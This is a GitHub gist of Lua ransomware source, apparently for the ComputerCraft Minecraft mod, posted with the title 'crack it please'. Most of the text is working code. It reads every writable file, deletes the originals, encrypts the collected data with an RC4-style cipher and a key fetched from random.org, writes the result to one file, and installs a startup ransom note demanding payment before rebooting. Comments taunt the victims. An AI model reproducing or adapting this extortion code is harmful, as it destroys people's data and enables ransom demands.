Skip to content

Instantly share code, notes, and snippets.

@pingbird
Created January 4, 2014 22:04
Show Gist options
  • Save pingbird/8261356 to your computer and use it in GitHub Desktop.
Save pingbird/8261356 to your computer and use it in GitHub Desktop.
crack it please ^_^
local tob64,unb64,genkey,new,serialize
do -- i like keeping functions i copy from my utility api in a do statement, so i can collapse it
local _tob64={
[0]="A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
"0","1","2","3","4","5","6","7","8","9","+","/"
}
function tob64(stxt) -- hex was not intimidating enough
local txt=tostring(stxt)
if not txt then
error("string expected, got "..type(stxt),2)
end
local d,o,d1,d2,d3={string.byte(txt,1,#txt)},""
for l1=1,#txt-2,3 do
d1,d2,d3=d[l1],d[l1+1],d[l1+2]
o=o.._tob64[math.floor(d1/4)].._tob64[((d1%4)*16)+math.floor(d2/16)].._tob64[((d2%16)*4)+math.floor(d3/64)].._tob64[d3%64]
end
local m=#txt%3
if m==1 then
o=o.._tob64[math.floor(d[#txt]/4)].._tob64[((d[#txt]%4)*16)].."=="
elseif m==2 then
o=o.._tob64[math.floor(d[#txt-1]/4)].._tob64[((d[#txt-1]%4)*16)+math.floor(d[#txt]/16)].._tob64[(d[#txt]%16)*4].."="
end
return o
end
local _unb64={
["A"]=0,["B"]=1,["C"]=2,["D"]=3,["E"]=4,["F"]=5,["G"]=6,["H"]=7,["I"]=8,["J"]=9,["K"]=10,["L"]=11,["M"]=12,["N"]=13,
["O"]=14,["P"]=15,["Q"]=16,["R"]=17,["S"]=18,["T"]=19,["U"]=20,["V"]=21,["W"]=22,["X"]=23,["Y"]=24,["Z"]=25,
["a"]=26,["b"]=27,["c"]=28,["d"]=29,["e"]=30,["f"]=31,["g"]=32,["h"]=33,["i"]=34,["j"]=35,["k"]=36,["l"]=37,["m"]=38,
["n"]=39,["o"]=40,["p"]=41,["q"]=42,["r"]=43,["s"]=44,["t"]=45,["u"]=46,["v"]=47,["w"]=48,["x"]=49,["y"]=50,["z"]=51,
["0"]=52,["1"]=53,["2"]=54,["3"]=55,["4"]=56,["5"]=57,["6"]=58,["7"]=59,["8"]=60,["9"]=61,["+"]=62,["/"]=63,
}
function unb64(stxt)
local txt=tostring(stxt)
if not txt then
error("string expected, got "..type(stxt),2)
end
txt=txt:gsub("[^%a%d/%+]","")
local m=#txt%4
if m==1 then
error("invalid b64",2)
end
local o,d1,d2=""
for l1=1,#txt-3,4 do
d1,d2=_unb64[txt:sub(l1+1,l1+1)],_unb64[txt:sub(l1+2,l1+2)]
o=o..string.char((_unb64[txt:sub(l1,l1)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(d2/4),((d2%4)*64)+_unb64[txt:sub(l1+3,l1+3)])
end
if m==2 then
o=o..string.char((_unb64[txt:sub(-2,-2)]*4)+math.floor(_unb64[txt:sub(-1,-1)]/16))
elseif m==3 then
d1=_unb64[txt:sub(-2,-2)]
o=o..string.char((_unb64[txt:sub(-3,-3)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(_unb64[txt:sub(-1,-1)]/4))
end
return o
end
function genkey(state)
local r=0
local o={}
for n in http.get("http://www.random.org/cgi-bin/randbyte?nbytes="..(state or 256).."&format=d").readAll():gmatch("%d+") do -- because schizophrenia
r=r+1
o[r]=string.char(tonumber(n))
end
return table.concat(o)
end
function new(key,state) -- i diddnt think a 256 byte key state was safe enough, so i made it optional
state=state or 256
local length=#key
key={string.byte(key,1,#key)}
local sch={}
for l1=0,state-1 do
sch[l1]=l1
end
local t=0
for l1=0,state-1 do
t=(t+sch[l1]+key[l1%length+1])%state
sch[l1],sch[t]=sch[t],sch[l1]
end
local i=0
local r=0
return function(data)
local length
data={string.byte(data,1,#data)}
for l1=1,#data do
i=(i+1)%state
r=(r+sch[i])%state
sch[i],sch[r]=sch[r],sch[i]
data[l1]=bit.bxor(sch[(sch[i]+sch[r])%state]%255,data[l1])
end
return string.char(unpack(data))
end,sch
end
local function tserialize(dat,options)
options=options or {}
local out=""
local queue={{dat}}
local cv=0
local keydat
local ptbl={}
while queue[1] do
local cu=queue[1]
table.remove(queue,1)
local typ=type(cu[1])
local ot
if typ=="string" then
ot=string.gsub(string.format("%q",cu[1]),"\\\n","\\n")
elseif typ=="number" or typ=="boolean" or typ=="nil" then
ot=tostring(cu[1])
elseif typ=="table" then
local empty=true
ot="{"
local st=0
ptbl[#ptbl+1]=cu[1]
for k,v in pairs(cu[1]) do
empty=false
st=st+1
table.insert(queue,st,{k,"key"})
st=st+1
local val=v
if type(v)=="table" then
for n,l in pairs(ptbl) do
if l==v then
if options.nofalse then
val="recursive"
elseif options.noerror then
return false
else
error("Cannot handle recursive tables.",2)
end
end
end
end
table.insert(queue,st,{val,"value",nil,st/2})
end
if empty then
ot=ot.."}"
ptbl[#ptbl]=nil
typ="emptytable"
else
cv=cv+1
if cu[3] then
queue[st][3]=cu[3]
cu[3]=nil
end
queue[st][3]=(queue[st][3] or 0)+1
end
elseif typ=="function" then
if options.nofunc then
ot="function"
else
local e,r,er=pcall(string.dump,cu[1])
if e and r then
ot="f(\""..tob64(r).."\")"
else
if options.nofalse then
ot="invalid function"
elseif options.noerror then
return false
else
error(r or er,2)
end
end
end
end
if cu[2]=="key" then
if type(ot)=="string" then
local nt=ot:sub(2,-2)
local e,r=loadstring("return {"..nt.."=true}")
if options.noshortkey or not e then
ot="["..ot.."]="
else
ot=nt.."="
end
else
ot=ot.."="
end
keydat={cu[1],ot}
ot=""
elseif cu[2]=="value" then
if keydat[1]~=cu[4] then
ot=keydat[2]..ot
end
if cu[3] then
ot=ot..("}"):rep(cu[3])
for l1=1,cu[3] do
ptbl[#ptbl]=nil
end
cv=cv-cu[3]
if cv~=0 then
ot=ot..","
end
elseif typ~="table" then
ot=ot..","
end
end
out=out..ot
end
return out
end
function serialize(t)
local r=tserialize(t,{noerror=true})
if r then
r=r:sub(2,-2)
end
return r
end
end
local mpass=table.concat({...}," ") -- no error checking here because i like having it crash with all your important stuff
-- this bit iterates through all your important files :D
local queue={""}
local out={}
local nqueue=2
local nout=1
while queue[1] do
local m=queue[1]
table.remove(queue,1)
nqueue=nqueue-1
local _,sname=m:match("(.+)/(.-)$")
sname=sname or m
if fs.isDir(m) then
for k,v in pairs(fs.list(m)) do
if m~="" then
queue[#queue+1]=m.."/"..v
nqueue=nqueue+1
elseif not fs.isReadOnly(v) and v~=shell.getRunningProgram() then
queue[#queue+1]=v
nqueue=nqueue+1
end
end
if m~="" then
out[nout]=m
nout=nout+1
print("added "..m)
end
else
print("added "..m)
local file=fs.open(m,"r")
out[nout]={m,file.readAll()}
nout=nout+1
file.close()
end
end
print("deleting stuff")
for k,v in pairs(fs.list("")) do
if not fs.isReadOnly(v) then
fs.delete(v) -- your program that took hours to code was here
end
end
local file=fs.open("yo_shit","w") -- your program that took hours to code is now here
print("generating esalt")
local esalt=genkey(512)
local msalt=""
local lmpass=#mpass
print("generating CF")
do -- clusterfuck salt prefix ( inspired by silver surfer )
local l=0
for l1=1,1024 do
local st=1+((l1-1)%lmpass)
local rt=1+((l1-1)%512)
math.randomseed(l+string.byte(mpass,st,st)+string.byte(esalt,rt,rt)) -- this is the line that fails when you dont enter a pw
l=math.random(0,0xFFFFFF)
if l1%64==0 then
msalt=msalt..string.byte(l%256)
end
end
end
file.write(tob64(esalt..new(msalt..esalt..mpass,1024)(serialize(out)))) -- your stuff is deleted first so incase the encryption crashes, your stuff is gone :D
file.close()
print("writing to startup")
local file=fs.open("startup","w")
-- this is what all true trolls strive for
file.write('print("Your stuff was encrypted by PixelToast, pay me and you get your stuff unlocked")')
file.close()
print("done")
sleep(2)
os.reboot()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment